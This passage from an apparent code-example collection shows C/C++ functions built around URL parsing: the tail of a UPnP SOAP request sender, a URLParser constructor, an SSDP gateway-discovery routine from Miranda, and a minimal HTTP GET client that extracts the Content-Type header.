				return NULL;
			}
			*(p++) = '<';
			pe = args->elt;
			while(*pe)
				*(p++) = *(pe++);
			*(p++) = '>';
			if((pv = args->val))
			{
				while(*pv)
					*(p++) = *(pv++);
			}
			*(p++) = '<';
			*(p++) = '/';
			pe = args->elt;
			while(*pe)
				*(p++) = *(pe++);
			*(p++) = '>';
			args++;
		}
		*(p++) = '<';
		*(p++) = '/';
		*(p++) = SERVICEPREFIX2;
		*(p++) = ':';
		pe = action;
		while(*pe)
			*(p++) = *(pe++);
		strncpy(p, "></" SOAPPREFIX ":Body></" SOAPPREFIX ":Envelope>\r\n",
		        soapbody + sizeof(soapbody) - p);
	}
	if(!parseURL(url, hostname, &port, &path, NULL)) return NULL;
	if(s < 0) {
		s = connecthostport(hostname, port, 0);
		if(s < 0) {
			/* failed to connect */
			return NULL;
		}
	}

	n = soapPostSubmit(s, path, hostname, port, soapact, soapbody, httpversion);
	if(n<=0) {
#ifdef DEBUG
		printf("Error sending SOAP request\n");
#endif
		closesocket(s);
		return NULL;
	}

	buf = getHTTPResponse(s, bufsize);
#ifdef DEBUG
	if(*bufsize > 0 && buf)
	{
		printf("SOAP Response :\n%.*s\n", *bufsize, buf);
	}
#endif
	closesocket(s);
	return buf;
}
Esempio n. 28
0
URLParser::URLParser(const std::string &url)
:_port(80),
_object(url)
{
	parseURL(url);
}
Esempio n. 29
0
static void discoverUPnP(void)
{
	char* buf;
	int buflen;
	unsigned i, j, nip = 0;
	unsigned* ips = NULL;

	static const unsigned any = INADDR_ANY;
	static const TIMEVAL tv = { 1, 600000 };

	char szUrl[256] = "";
	char hostname[256];
	PHOSTENT he;
	fd_set readfd;

	SOCKET sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

	SOCKADDR_IN enetaddr;
	enetaddr.sin_family = AF_INET;
	enetaddr.sin_port = htons(1900);
	enetaddr.sin_addr.s_addr = inet_addr("239.255.255.250");

	gethostname(hostname, sizeof(hostname));
	he = gethostbyname(hostname);

	if (he) {
		while (he->h_addr_list[nip]) ++nip;

		ips = (unsigned*)mir_alloc(nip * sizeof(unsigned));

		for (j = 0; j < nip; j++)
			ips[j] = *(unsigned*)he->h_addr_list[j];
	}

	buf = (char*)mir_alloc(1500);

	for (i = 3; --i && szUrl[0] == 0;) {
		for (j = 0; j < nip; j++) {
			if (ips)
				setsockopt(sock, IPPROTO_IP, IP_MULTICAST_IF, (char *)&ips[j], sizeof(unsigned));

			buflen = mir_snprintf(buf, 1500, search_request_msg, "WANIPConnection:1");
			sendto(sock, buf, buflen, 0, (SOCKADDR*)&enetaddr, sizeof(enetaddr));
			LongLog(buf);

			buflen = mir_snprintf(buf, 1500, search_request_msg, "WANPPPConnection:1");
			sendto(sock, buf, buflen, 0, (SOCKADDR*)&enetaddr, sizeof(enetaddr));
			LongLog(buf);
		}

		if (Miranda_Terminated()) break;

		FD_ZERO(&readfd);
		FD_SET(sock, &readfd);

		while (select(1, &readfd, NULL, NULL, &tv) >= 1) {
			buflen = recv(sock, buf, 1500, 0);
			if (buflen != SOCKET_ERROR) {
				buf[buflen] = 0;
				LongLog(buf);

				if (txtParseParam(buf, NULL, "LOCATION:", "\n", szUrl, sizeof(szUrl)) ||
					txtParseParam(buf, NULL, "Location:", "\n", szUrl, sizeof(szUrl))) {
					char age[30];
					char szHostNew[256], szHostExist[256];

					lrtrim(szUrl);

					parseURL(szUrl, szHostNew, NULL, NULL);
					parseURL(szCtlUrl, szHostExist, NULL, NULL);
					if (mir_strcmp(szHostNew, szHostExist) == 0) {
						gatewayFound = true;
						break;
					}

					txtParseParam(buf, NULL, "ST:", "\n", szDev, sizeof(szDev));
					txtParseParam(buf, "max-age", " = ", "\n", age, sizeof(age));
					expireTime = atoi(lrtrimp(age));
					lrtrim(szDev);

					if (getUPnPURLs(szUrl, sizeof(szUrl))) {
						gatewayFound = getExtIP() != 0;
						if (gatewayFound) break;
					}
				}
			}
			FD_ZERO(&readfd);
			FD_SET(sock, &readfd);
		}
	}

	mir_free(buf);
	mir_free(ips);
	setsockopt(sock, IPPROTO_IP, IP_MULTICAST_IF, (char *)&any, sizeof(unsigned));
	closesocket(sock);
}
Esempio n. 30
0
FILE *
openhttp( const char * url, char * contentType )
{
	// Parse url
	char host[MaxURLLength];
	int port;
	char document[MaxURLLength];
	int err = parseURL( url, host, &port, document);
	if ( err ) {
		fprintf( stderr, "bad url \"%s\"\n", url );
		return NULL;
	}
	
	// Initialize socket address structure
	struct  sockaddr_in socketAddress;
	
	// Clear sockaddr structure
	memset((char *)&socketAddress,0,sizeof(socketAddress));
	
	// Set family to Internet 
	socketAddress.sin_family = AF_INET;
	
	// Set port
	socketAddress.sin_port = htons((u_short)port);
	
	// Get host table entry for this host
	struct  hostent  *ptrh = gethostbyname(host);
	if ( ptrh == NULL ) {
		perror("gethostbyname");
		return NULL;
	}
	
	// Copy the host ip address to socket address structure
	memcpy(&socketAddress.sin_addr, ptrh->h_addr, ptrh->h_length);
	
	// Get TCP transport protocol entry
	struct  protoent *ptrp = getprotobyname("tcp");
	if ( ptrp == NULL ) {
		perror("getprotobyname");
		return NULL;
	}
	
	// Create a tcp socket
	int sock = socket(PF_INET, SOCK_STREAM, ptrp->p_proto);
	if (sock < 0) {
		perror("socket");
		return NULL;
	}
	
	// Connect the socket to the specified server
	if (connect(sock, (struct sockaddr *)&socketAddress,
		    sizeof(socketAddress)) < 0) {
		perror("connect");
		return NULL;
	}
	
	// Form request
	char * request = (char *) malloc( 50 + strlen(host) + strlen(document) );
	if ( request == NULL ) {
		perror("malloc");
		return NULL;
	}
	//sprintf( request, "GET http://%s%s HTTP/1.0\r\n\r\n", host, document );
	sprintf( request, "GET %s HTTP/1.0\r\nHost: %s\r\n\r\n", document, host );
	
	// Send HTTP request
	write( sock, request, strlen(request) );
	write(1, request, strlen(request) );
	free( request );
	
	// Make a buffered stream from the socket to speed up reading
	FILE * f = fdopen( sock, "r" );
	if ( f == NULL ) {
		perror("fdopen");
		close(sock);
		return NULL;
	}
	
	// Get everything up to the start of document
	char line[ MaxLineLength ];
	int contentTypeFound = 0;
	const char * contentTypeTag = "Content-Type: ";
	int contentTypeTagLen = strlen( contentTypeTag );
	while ( fgets( line, MaxLineLength, f ) ) {
		if ( !strncmp( line, contentTypeTag, contentTypeTagLen )) {
			contentTypeFound = 1;
			break;
		}
	}
	
	// Check if content type is there
	if ( !contentTypeFound || strlen(line) == contentTypeTagLen ) {
		fprintf( stderr, "No Content-Type\n");
		close(sock);
		return NULL;
	}
	
	// Copy content type
	strcpy(contentType, line + contentTypeTagLen);
	
	// Remove trailer space chars from content type 
	int contentTypeLen = strlen(contentType);
	char * p = contentType + contentTypeLen - 1;
	while ( contentTypeLen > 0 &&
		*p && (*p == ' ' || *p == '\n' || *p == '\r' )) {
		*p = 0;
		p--;
	}

	// Find a semicolon in content type if any
	p = contentType;
	while ( *p && *p!=';') {
		p++;
	}

	if (*p == ';') {
		*p = 0;
	}
	
	// Return stream file
	return f;
}